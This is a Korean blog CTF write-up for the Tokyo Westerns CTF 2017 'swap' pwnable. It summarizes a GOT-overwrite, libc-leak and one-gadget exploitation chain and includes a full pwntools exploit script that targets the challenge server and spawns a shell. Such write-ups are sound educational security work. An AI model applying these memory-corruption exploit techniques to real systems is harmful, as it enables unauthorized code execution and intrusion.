'swap'에 해당되는 글 1건
- 2017.09.13 [Tokyo Westerns CTF_2017] swap(pwnable)
2017. 9. 13. 11:21
## Tokyo Westerns CTF_2017(swap, pwn)
[Summary]
1. memcpy <=> read : swap기능을 이용해 바꿔치면 memcpy()만 read로 변경된다.(arbitrary mem write 가능해짐)
2. oneshot gadget을 얻기 위해 libc leak을 해야한다.
=> setvbuf_got를 puts_plt로 덮어씌운다.
=> exit_got를 start의 주소로 덮어씌워 setvbuf를 실행시킨다.(결과적으로 puts(stderr))
=> stderr를 stdin의 주소로 바꾼다.(for puts(_IO_2__1_stdin's addr))
3. exit_got를 oneshot_gadget으로 덮어씌운다.
[Exploit Code] - swap_exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 | from pwn import * context(arch='amd64',os='linux') #local=True local=False if local: p = process("./swap") else: p = remote("pwn1.chal.ctf.westerns.tokyo", 19937) binary = ELF("./swap") raw_input() puts_plt = 0x4006b0 memcpy_got = 0x601040 puts_got = 0x601018 read_got = 0x601028 exit_got = 0x601058 setvbuf_got = 0x601048 start_addr = 0x400760 stdin_addr = 0x601090 stderr_addr = 0x6010a0 def print_menu(): p.recvuntil('Your choice:') def set_addr(addr1, addr2): print_menu() p.send('1'+'\n') p.recvuntil('1st addr') p.send(str(addr1)) p.recvuntil('2nd addr') p.send(str(addr2)) def swap(): print_menu() p.send('2'+'\n') if __name__ == "__main__": ## Stage 1 : arbitrary mem write(using memcpy_got <= read_got) set_addr(memcpy_got, read_got) swap() ## Stage 2 : leak libc addr ## - setvbuf_got <= puts_plt ## - exit_got <= start_addr (for trigger setvbuf(puts)) ## - stderr <= stdin (for puts(_IO_2_1_stdin's addr) ## => result : libc stdin leak => libc base => one shot set_addr(0, setvbuf_got) swap() p.send(p64(puts_plt)) set_addr(0, exit_got) swap() p.send(p64(start_addr)) set_addr(0, stderr_addr) swap() p.send(p64(stdin_addr)) p.send('0'+'\n') p.recvuntil('Bye.') p.recvline(); p.recvline(); p.recvline() ## leak & calc _IO_2_1_stdin_leak = u64(p.recv(6)+"\x00\x00") libc_base = _IO_2_1_stdin_leak - 0x3c48e0 one_gadget = libc_base + 0xf0274#0x4526a print "[+] _IO_2_1_stdin addr : " + hex(_IO_2_1_stdin_leak) print "[+] libc base addr : " + hex(libc_base) print "[+] one shot gadget : " + hex(one_gadget) ## Stage 3 : exit <= oneshot_gadget set_addr(0, exit_got) swap() p.send(p64(one_gadget)) ## Final : trigger p.send('0'+'\n') #print p.recv(1024) #puts_leak = p.recv(1024)[:6]+"\x00\x00"; #print "[+] puts addr : " + hex(u64(puts_leak)) p.interactive() | cs |
[Get Flag~~!!!!]
[그림 1] flag 확인
끝~!
'CTF writeup' 카테고리의 다른 글
[HDCON_2017] Fabuary(reversing) (0) | 2017.09.21 |
---|---|
[ASIS CTF_2017] mrs. hudson(pwnable) (0) | 2017.09.13 |
[Samsung CTF_2017] Easyhaskell(reversing) (0) | 2017.07.23 |
[Samsung CTF_2017] Buildingblocks(Coding) (0) | 2017.07.23 |
[Samsung CTF_2017] dfa(Defense) (0) | 2017.07.23 |